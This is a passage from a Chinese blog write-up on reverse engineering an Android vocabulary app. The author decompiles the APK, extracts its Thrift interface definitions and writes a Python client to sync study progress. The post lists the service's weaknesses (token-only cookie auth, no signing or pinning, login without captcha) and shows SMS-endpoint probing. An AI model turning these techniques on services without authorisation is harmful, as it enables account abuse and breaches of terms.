&lt;p&gt;&lt;strong&gt;合规声明&lt;/strong&gt;：本文仅为协议学习与技术研究。分析只使用本人小号、只读接口优先、不触碰任何支付/会员权益逻辑、未进行任何形式的数据分发。复现前请确认目标软件的服务条款，后果自负。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 背景与目标 {#section-1}&lt;/h2&gt;
&lt;p&gt;V-App 是一款装机量很大的语言学习类应用，核心功能是“背单词”。它的内容体系（词书、配图、音频、学习进度）都在服务端，客户端每次学习都要和服务端交互。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;动机&lt;/strong&gt;：我希望在电脑上也能背单词，并且和手机上的学习进度互通（电脑背的记录手机能看到，反之亦然）。官方没有提供 Web 端，那么理论上只要搞清楚它的接口协议，就可以自己写一个客户端。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;目标拆解&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;拿到学习数据：我正在学的词书、每个词的内容（释义/音标/音频/配图）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拿到学习进度：手机端已经学过哪些词、学到什么程度&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;上报学习进度：在电脑上背完的词，能同步回手机端&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;红线&lt;/strong&gt;（先给自己画好）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;只用本人的小号&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;只读接口优先，写操作必须经过充分验证&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;绝不触碰支付、会员、越权等任何权益相关逻辑&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不做分发，纯自用&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. 环境与工具链 {#section-2}&lt;/h2&gt;
&lt;p&gt;工欲善其事，先交代环境（这也是后面所有操作的前提）：&lt;/p&gt;
&lt;p&gt;|
项 |
说明 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
OS |
Windows 10 22H2 |&lt;/p&gt;
&lt;p&gt;|
网络 |
有代理（Clash 类，TUN + fakeip 模式）——这一点后面会多次埋下伏笔 |&lt;/p&gt;
&lt;p&gt;|
Python |
3.9（客户端只用标准库：&lt;code&gt;struct&lt;/code&gt; / &lt;code&gt;urllib&lt;/code&gt; / &lt;code&gt;http.client&lt;/code&gt;，零第三方依赖） |&lt;/p&gt;
&lt;p&gt;|
JDK |
Temurin 17（跑 jadx/apktool） |&lt;/p&gt;
&lt;p&gt;|
jadx |
1.5.6，dex → Java 源码 |&lt;/p&gt;
&lt;p&gt;|
apktool |
2.9.3，资源/Manifest/smali 还原 |&lt;/p&gt;
&lt;p&gt;|
sqlite3 |
随 platform-tools 附带 |&lt;/p&gt;
&lt;p&gt;|
抓包工具 |
备用（本次实际未作为主力，原因见第五节） |&lt;/p&gt;
&lt;p&gt;工作区结构（按样本/工具/笔记分离，方便归档和回溯）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proj/
  apk/            # 样本（记录版本与 SHA256）
  tools/          # jdk / jadx / apktool / platform-tools
  notes/          # 侦察笔记、接口清单、协议还原记录
  client/         # 最终产物：Python thrift 客户端 + 本地 HTTP 服务
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Windows 上的两个编码坑先记下来&lt;/strong&gt;（本文所有涉及中文内容的脚本都因此调整过，这类细节决定自动化脚本的稳定性）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;.cmd&lt;/code&gt; 批处理按 ANSI(GBK) 解析，交付用的启动脚本只写 ASCII&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PowerShell 5.1 把无 BOM 的 UTF-8 当 GBK 读；&lt;code&gt;Get-Content&lt;/code&gt;/&lt;code&gt;Set-Content&lt;/code&gt; 读写一次中文文件就可能毁掉编码。&lt;strong&gt;涉及中文的文件一律用 .NET API 显式指定编码&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[IO.File]::WriteAllText($p, $text, (New-Object Text.UTF8Encoding($false)))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3. 第一阶段：静态侦察 {#section-3}&lt;/h2&gt;
&lt;h3&gt;3.1 拿样本&lt;/h3&gt;
&lt;p&gt;从应用商店渠道下载 APK，第一件事是&lt;strong&gt;记录指纹&lt;/strong&gt;——样本即快照，App 后续更新导致接口变更时，可以按指纹回溯对比：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHA256: 〔已脱敏〕
versionCode / versionName: 〔已脱敏〕
minSdk 24 / targetSdk 34
size: 355 MB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;355MB 对于这个体量的 App 明显偏大，里面一定打包了重型资源（后面证实：内置词典数据库 + 游戏引擎 so）。&lt;/p&gt;
&lt;h3&gt;3.2 apktool 解包，先看 Manifest&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;toolsapktool.cmd d -f apkbase.apk -o apktool_out
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Manifest 里几个关键信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;包名 &lt;code&gt;com.vendor.vocab&lt;/code&gt;（已脱敏）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;入口 &lt;code&gt;SplashActivity&lt;/code&gt; / &lt;code&gt;MainTabActivity&lt;/code&gt;，application 类 &lt;code&gt;VAppApp&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;未见加固特征&lt;/strong&gt;：没有 pairip / 360 / 腾讯乐固的壳，dex 可直接反编译&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;第三方 SDK 清单：微信/QQ 登录支付、友盟统计、个推、Bugly、数美（设备指纹）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;usesCleartextTraffic=&quot;true&quot;&lt;/code&gt; + 自定义 &lt;code&gt;network_security_config&lt;/code&gt; —— 调试遗留，说明客户端侧并没有认真做传输层加固&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一个有意思的 deeplink scheme：&lt;code&gt;vapp://com.vendor.vocab/word/lookup&lt;/code&gt; 等，全部 routing 映射到内部 Activity（后期做深链唤起有用，本次未深入）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.3 从代码目录反推技术栈&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;lib/arm64-v8a/&lt;/code&gt; 下的 so 文件给出技术栈画像：&lt;/p&gt;
&lt;p&gt;|
so |
推断 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;libcocos.so&lt;/code&gt; (45MB) |
Cocos2d-x，承载内置的单词小游戏模块 |&lt;/p&gt;
&lt;p&gt;|
&lt;code&gt;libmsaoaid*.so&lt;/code&gt; |
数美设备指纹 SDK（&lt;strong&gt;风控存在，但强度未知&lt;/strong&gt;） |&lt;/p&gt;
&lt;p&gt;|
&lt;strong&gt;没有&lt;/strong&gt; &lt;code&gt;libflutter.so&lt;/code&gt; / &lt;code&gt;libapp.so&lt;/code&gt; |
&lt;strong&gt;不是 Flutter&lt;/strong&gt;，是原生 Kotlin/Java + Compose |&lt;/p&gt;
&lt;p&gt;结论：&lt;strong&gt;不需要 blutter（Flutter 逆向工具），jadx 直接反编译 dex 即可&lt;/strong&gt;。这一步的判断能省掉大量无效劳动。&lt;/p&gt;
&lt;h3&gt;3.4 顺手捡到的资产：内置词典库&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;res/lexicon.db&lt;/code&gt; 有 18.5MB，拖出来是标准 SQLite：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sqlite3 lexicon.db &quot;.tables&quot;
dict_a_b  dict_main  dict_c  ... topic_book_map ...
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;dict_main: 52,012 条，字段 word / accent(音标) / mean_cn(释义) / freq(词频)
全部词表合计：约 10.9 万词条
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;topic_book_map&lt;/code&gt;（52,012 行）把单词映射到词书——&lt;strong&gt;这个 &lt;code&gt;topic_id&lt;/code&gt; 后来被证明和服务端协议用的是同一套 ID 体系&lt;/strong&gt;，先记住这个伏笔。&lt;/p&gt;
&lt;h2&gt;4. 第二阶段：关键突破——thrift 协议 {#section-4}&lt;/h2&gt;
&lt;h3&gt;4.1 jadx 全量反编译，先挖域名&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;toolsjadx-cli.cmd --no-res -j 4 -d jadx_out apkbase.apk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;约 10MB 的 dex 反编译完（有 979 个 error，多为 Kotlin 元数据问题，不影响）。先 grep 域名常量，命中一个 Thrift 配置类，域名体系一览无余：&lt;/p&gt;
&lt;p&gt;|
用途 |
域名（脱敏后） |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
账号/认证 |
&lt;code&gt;passport.example.com&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
学习服务 |
&lt;code&gt;learn.example.com&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
学习 H5 |
&lt;code&gt;learn.example.com/{en,fr,ko,es}-mode/&lt;/code&gt;（App 内大部分学习页其实是 WebView） |&lt;/p&gt;
&lt;p&gt;|
资源 |
&lt;code&gt;resource.example.com&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
单词书 |
&lt;code&gt;booklist.example.com&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
老 API |
&lt;code&gt;www.example.com/api/...?access_token=&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
CDN |
&lt;code&gt;cdn.example.com&lt;/code&gt;（图片/音频，相对路径直拼） |&lt;/p&gt;
&lt;h3&gt;4.2 命中要害：&lt;code&gt;/rpc/*&lt;/code&gt; + thrift&lt;/h3&gt;
&lt;p&gt;继续在反编译代码里搜路径常量，拿到这样一张表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/rpc/users        /rpc/words       /rpc/studys
/rpc/user_study   /rpc/user_book   /rpc/resource_api
/rpc/unified_user_service ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的 Java 包 &lt;code&gt;com.vendor.online.*&lt;/code&gt; 下的类，全是 &lt;strong&gt;Apache Thrift 生成的桩代码&lt;/strong&gt;（识别特征：&lt;code&gt;*_args&lt;/code&gt; / &lt;code&gt;*_result&lt;/code&gt; 内部类、&lt;code&gt;StandardScheme&lt;/code&gt;、&lt;code&gt;writeFieldBegin(new TField(...))&lt;/code&gt;）。也就是说：&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;服务端接口用的是 Thrift over HTTP，而且客户端里带着完整的接口契约。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这是本次分析最大的成本变量：Thrift 生成代码是“自描述”的——每个方法名、每个结构体的 field id 和类型都以字面量形式存在。&lt;strong&gt;不需要抓一个包，协议就还原了 90%&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;4.3 还原传输层&lt;/h3&gt;
&lt;p&gt;三个关键类的信息拼出完整传输模型：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;URL 模板&lt;/strong&gt;（&lt;code&gt;thrift/a.java&lt;/code&gt;）：&lt;code&gt;&quot;%s%s/%s/%d&quot;&lt;/code&gt; →
&lt;code&gt;POST https://learn.example.com/rpc/user_study/{method}/{当前毫秒时间戳}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;消息格式&lt;/strong&gt;（&lt;code&gt;thrift/k.java&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;okhttp3.l.a aVarA = new okhttp3.l.a()
 .a(&quot;Accept&quot;, &quot;application/x-thrift&quot;)
 .a(&quot;User-Agent&quot;, &quot;vapp_app/android/&quot; + version)
 .a(&quot;Cookie&quot;, strA);   // ← Cookie 里带凭证
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;凭证载体&lt;/strong&gt;（另一处请求封装实锤）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;map.put(&quot;Cookie&quot;, &quot;access_token=&quot; + userRecordQ.getToken());
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;鉴权模型结论：所有业务请求只需要一个 HTTP 头 &lt;code&gt;Cookie: access_token=&amp;lt;token&amp;gt;&lt;/code&gt;&lt;/strong&gt;。没有签名、没有 pinning、没有时间戳校验。防护等级一目了然。&lt;/p&gt;
&lt;h3&gt;4.4 从生成代码提取 IDL&lt;/h3&gt;
&lt;p&gt;以最核心的学习进度上报为例，生成代码里的 &lt;code&gt;write()&lt;/code&gt; 方法直接给出字段表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;oprot.writeFieldBegin(new TField(&quot;word_topic_id&quot;, TType.I64, (short) 1));
oprot.writeFieldBegin(new TField(&quot;current_score&quot;, TType.I32, (short) 2));
oprot.writeFieldBegin(new TField(&quot;span_days&quot;, TType.I32, (short) 3));
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;翻译成 IDL：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct UserDoneWordRecord {
  1:  i32 word_topic_id        8:  i32 tag_id
  2:  i32 current_score        9:  i32 spell_score
  3:  i32 span_days           10:  i32 listening_score
  4:  i32 used_time           11:  i32 chn_score
  5:  i32 done_times          12:  i32 review_round
  6:  i32 wrong_times
  7:  i32 is_first_do_at_today
}

service UserStudyApiService {
  i32 update_done_data(1: i64 last_sync_at,
                       2: list&amp;lt;UserDoneWordRecord&amp;gt; arr_done_records,
                       3: i32 current_word_level_id,
                       4: bool is_today_completed);
  UserBasicInfoPlusV2 user_basic_info_v2();
  list&amp;lt;UserLearnedWordInfo&amp;gt; get_learned_words_list(1: i32 book_id);
  list&amp;lt;UserRoadMapElementV2&amp;gt; roadmap_by_word_level_v2(1: i32 book_id);
  list&amp;lt;SelectBookPlanInfo&amp;gt; get_all_selected_book_plan_info();
  ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务与 host 的映射也一并确认：&lt;code&gt;user_study → learn / resource_api → resource / unified_user_service → passport&lt;/code&gt;，且每个都有国际站备份域名。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;到这一步，协议还原的情报工作已经完成&lt;/strong&gt;，剩下的全部是工程问题。&lt;/p&gt;
&lt;h2&gt;5. 第三阶段：手写 TCompactProtocol {#section-5}&lt;/h2&gt;
&lt;p&gt;Thrift 的 Compact Protocol 本身是个很紧凑的二进制协议，选择自己写而不是引库，理由是：引库要按 IDL 生成代码，而这个项目的 IDL 有上百个结构体；而 Compact 协议本身只有一页规则，&lt;strong&gt;写一个 300 行的通用编解码器，比给这个 IDL 搭脚手架更快，后续加接口也只是拼字段&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;5.1 规则速查&lt;/h3&gt;
&lt;p&gt;Compact Protocol 的核心规则（对照实现看最直观）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;varint&lt;/strong&gt;：每个字节 7 bit 有效位，MSB=1 表示后续还有字节&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;zigzag&lt;/strong&gt;：有符号整数先 zigzag 再 varint。&lt;code&gt;zigzag32(n) = (n&amp;lt;&amp;lt;1) ^ (n&amp;gt;&amp;gt;31)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;struct&lt;/strong&gt;：字段序列，每个字段头 1 字节 &lt;code&gt;(delta&amp;lt;&amp;lt;4)|type&lt;/code&gt;，delta = &lt;code&gt;fid - last_fid&lt;/code&gt;；delta ≤ 0 或 &amp;gt; 15 时写成 &lt;code&gt;type&lt;/code&gt; 字节 + zigzag varint 的 fid；struct 以 &lt;code&gt;0x00&lt;/code&gt;(STOP) 结束&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;bool&lt;/strong&gt;：在 struct 内直接编码进 type nibble（&lt;code&gt;1&lt;/code&gt;=true，&lt;code&gt;2&lt;/code&gt;=false），&lt;strong&gt;不占 value 字节&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;list&lt;/strong&gt;：&lt;strong&gt;1 字节 &lt;code&gt;(size&amp;lt;&amp;lt;4)|elem_type&lt;/code&gt;&lt;/strong&gt;；size ≥ 15 时用 &lt;code&gt;0xF0|elem_type&lt;/code&gt; + varint size&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;double&lt;/strong&gt;：小端 8 字节&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;binary/string&lt;/strong&gt;：varint 长度 + 原始字节&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;5.2 核心实现（Python，零依赖）&lt;/h3&gt;
&lt;p&gt;先写 primitives：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def _uvarint(n: int) -&amp;gt; bytes:
    out = bytearray()
    while True:
        b = n &amp;amp; 0x7F
        n &amp;gt;&amp;gt;= 7
        if n:
            out.append(b | 0x80)
        else:
            out.append(b)
            return bytes(out)

def _zigzag32(n): return ((n &amp;lt;&amp;lt; 1) ^ (n &amp;gt;&amp;gt; 31)) &amp;amp; 0xFFFFFFFF
def _zigzag64(n): return ((n &amp;lt;&amp;lt; 1) ^ (n &amp;gt;&amp;gt; 63)) &amp;amp; 0xFFFFFFFFFFFFFFFF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;消息头 + framed 传输：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 一条 CALL 消息 = [0x82][0x21][varint seqid][string method][args...]
# 外层 framed：4 字节大端长度前缀
w = Writer()
w.byte(0x82)                # protocol id
w.byte((1 &amp;lt;&amp;lt; 5) | 1)        # version 1 | CALL(1) &amp;lt;&amp;lt; 5
w.varint(1)                 # seqid
w.string(&apos;user_basic_info_v2&apos;)
frame = w.raw()
body = struct.pack(&apos;&amp;gt;I&apos;, len(frame)) + frame
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发起调用（注意这里做了&lt;strong&gt;代理环境 TLS 抖动的自动重试&lt;/strong&gt;，第 10 节会展开）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST https://learn.example.com/rpc/user_study/user_basic_info_v2/{ms}
Accept: application/x-thrift
Cookie: access_token=&amp;lt;token&amp;gt;
User-Agent: vapp_app/android/&amp;lt;version&amp;gt; os_version/&amp;lt;os-version&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;响应解析：剥 framed 头 → 校验 &lt;code&gt;0x82&lt;/code&gt; → 读 &lt;code&gt;(type&amp;lt;&amp;lt;5)|version&lt;/code&gt;（REPLY=2）→ seqid → method name → 进入 result struct。result struct 的约定是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;field 0&lt;/code&gt; = success&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;field 1&lt;/code&gt; = &lt;code&gt;SystemException{1: from_service, 2: from_method, 3: code, 4: message}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;field 2&lt;/code&gt; = &lt;code&gt;LogicException{同上}&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.3 写的时候踩的最大的坑：list header&lt;/h3&gt;
&lt;p&gt;我第一版把 list header 写成了“varint(size) + byte(type)”——这是从 Thrift 的&lt;strong&gt;非 compact 协议记忆&lt;/strong&gt;里带过来的错误。实际 compact 是单字节 &lt;code&gt;(size&amp;lt;&amp;lt;4)|elem_type&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# ❌ 错误版（第一次实现）
self.varint(len(items)); self.byte(elem_ct)

# ✅ 正确版
n = len(items)
if n &amp;lt; 15:
    self.byte((n &amp;lt;&amp;lt; 4) | elem_ct)
else:
    self.byte(0xF0 | elem_ct)
    self.varint(n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 bug 的表现非常隐蔽：&lt;strong&gt;所有不携带 list 的接口（比如只读用户信息）一切正常&lt;/strong&gt;，直到第一次解析带 list 的响应才炸——&lt;code&gt;cannot skip ct=20&lt;/code&gt;（非法的 compact type）。&lt;/p&gt;
&lt;p&gt;调试过程值得一提：我先用“逐字段打印”定位到是 list header 错位，再对照协议规范重写。这类“协议魔数错位”问题的通用排查法：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;把响应原始 hex dump 出来&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;和预期字段逐个字节比对&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;找到第一处语义不合法的字节（本例中是 type nibble=20，合法值只有 0-12）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;修复后一条命令直接跑通&lt;/strong&gt;——这也是自己的协议栈相对黑盒抓包的最大优势：任何一个字节的偏差都有明确的责任人。&lt;/p&gt;
&lt;h3&gt;5.4 通用结构解析器&lt;/h3&gt;
&lt;p&gt;为了不用给上百个结构体逐个写解析代码，再加一个“泛型解析”：struct → &lt;code&gt;{field_id: value}&lt;/code&gt; 的嵌套 dict，遇到未知字段按类型跳过：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def generic(self, ct):
    if ct == CT_TRUE:  return True
    if ct == CT_FALSE: return False
    if ct == CT_I32:   return self.zigzag(32)
    if ct == CT_BINARY:
        b = self.binary()
        return b.decode(&apos;utf-8&apos;, &apos;replace&apos;)   # 尽力还原文本
    if ct == CT_STRUCT:
        out = {}
        self.struct(lambda fid, ct: out.__setitem__(fid, self.generic(ct)) or True)
        return out
    if ct in (CT_LIST, CT_SET):
        n, ect = self.list_header()
        if n == 0: return []
        return [self.generic(ect) for _ in range(n)]
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一个函数后面承载了所有 detail 类接口的解析，字段 id 语义在上层按需解释。&lt;/p&gt;
&lt;h2&gt;6. 第四阶段：空凭证验证法 {#section-6}&lt;/h2&gt;
&lt;p&gt;协议栈写完，还没有 token。此时最便宜有有效的验证不是去抓包，而是&lt;strong&gt;空跑（dry run）&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;call(&apos;user_basic_info_v2&apos;, args=b&apos;x00&apos;)   # 不带任何凭证
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一次真实响应：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LogicException(code=8): token is empty [study-api.user_basic_info_v2]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一行信息量巨大，三段全部验证通过：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;framed 传输对（能解出 struct）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;compact 编解码对（能读出 code 和 message）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;服务端路由认识我&lt;/strong&gt;（&lt;code&gt;from_service=study-api&lt;/code&gt;，说明方法名、URL 模板、Host 选择全部正确）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这种“&lt;strong&gt;空跑验证&lt;/strong&gt;”是私密协议分析的通用技巧：&lt;strong&gt;在没有凭证的前提下，先证明“服务端听得懂你在说什么”&lt;/strong&gt;，把协议问题和凭证问题解耦。如果这一步返回的是 404、乱码或者连接重置，就要回头查 URL/编码，而不是浪费时间去搞账号。&lt;/p&gt;
&lt;h2&gt;7. 第五阶段：凭证获取 {#section-7}&lt;/h2&gt;
&lt;p&gt;接口清单里有一个统一用户服务（&lt;code&gt;unified_user_service&lt;/code&gt;），提取它的 args 结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct PhoneLoginRequest {
  1: string phone
  2: string verify_code
  3: string device
}
UserLoginResult login_with_phone(1: PhoneLoginRequest request);
// UserLoginResult { 1: string access_token, 2: i32 is_new_user, ... 7: string phone }
void send_sms_verify_code(1: string phone, 2: i32 verify_type);  // 5 = 登录
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;流程就是最常规的手机号 + 短信验证码。先用一个&lt;strong&gt;明显非法的手机号&lt;/strong&gt;试探，验证协议不用打扰真人：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;send_sms_verify_code(&quot;&amp;lt;invalid-test-number&amp;gt;&quot;, 5)
→ LogicException(code=6): 手机号格式错误 [account-api.send_sms_verify_code]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再用格式合法但空号的测试号段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;send_sms_verify_code(&quot;&amp;lt;valid-format-test-number&amp;gt;&quot;, 5)
→ LogicException(code=13): 发送失败，请稍后重试
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;走到了“真实发送”阶段&lt;/strong&gt;——说明参数格式被服务端接受，只差真实号码。用自己的小号完成登录，拿到 &lt;code&gt;access_token&lt;/code&gt;，写接口全部解锁。&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;顺带说明：这个 App 的登录接口没有图形验证码、没有风控挑战，属于典型的“凭证获取零成本”。配合第 4 节的无签名传输，整套体系的防护基本处于“门锁了但钥匙挂在门口”的状态。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;8. 第六阶段：只读能力扩展 {#section-8}&lt;/h2&gt;
&lt;p&gt;有了 token，按“只读优先”原则按顺序打通：&lt;/p&gt;
&lt;h3&gt;8.1 用户与词书&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;user_basic_info_v2()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回（脱敏后）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;user_info&quot;: {
    &quot;current_word_level_id&quot;: 13,
    &quot;current_word_level_name&quot;: &quot;脱敏-当前词书&quot;,
    &quot;nickname&quot;: &quot;***&quot;,
    &quot;avatar&quot;: &quot;https://cdn.example.com/ugc/.../avatar.jpg&quot;
  },
  &quot;learn_info&quot;: {
    &quot;last_sync_done_score_time&quot;: 1729603842,
    &quot;daily_plan_count&quot;: 200,
    &quot;review_plan_count&quot;: 800
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三个关键数字：&lt;strong&gt;正在学习的词书（word_level_id=13）、每日新学 200、每日复习 800&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;8.2 学习计划与“今天学什么”&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;get_all_selected_book_plan_info()   # → 12 本在学的书及各自计划
roadmap_by_word_level_v2(13)       # → 6,279 个 topic
get_learned_words_list(13)         # → 2,665 条已学记录
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;研究的核心结论（这也解释了为什么“网页版背单词”在架构上是可行的）：&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;服务端不下发“今天该学哪些词”&lt;/strong&gt;。它只给学习计划、roadmap（全部词条）和已学记录；&lt;strong&gt;“未学 / 今日新学 / 待复习 / 已掌握”四个分组完全由客户端本地计算&lt;/strong&gt;：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;record == null 或 score == -1024  → unlearned
todayNew == true                   → todayLearned
!todayNew 且 score ∈ [0,4]         → unreviewed（待复习）
score &amp;gt; 4                          → reviewed（已掌握）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这意味着：网页端可以完全本地驱动学习流程 UI，只在答题后把结果&lt;strong&gt;批量上报&lt;/strong&gt;——和 App 的行为模型一致。上报就是 &lt;code&gt;update_done_data&lt;/code&gt;，我把它证明是安全的之后才接进页面。&lt;/p&gt;
&lt;h3&gt;8.3 单词详情&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;get_topic_resource_v2(TopicKey{topic_id, word_level_id, tag_id},
                      channel=STUDY, with_dict=True, with_media=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一个词的结构（脱敏样本，public 一词）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;word_basic_info&quot;: {
    &quot;topic_id&quot;: 17234,
    &quot;word&quot;: &quot;public&quot;,
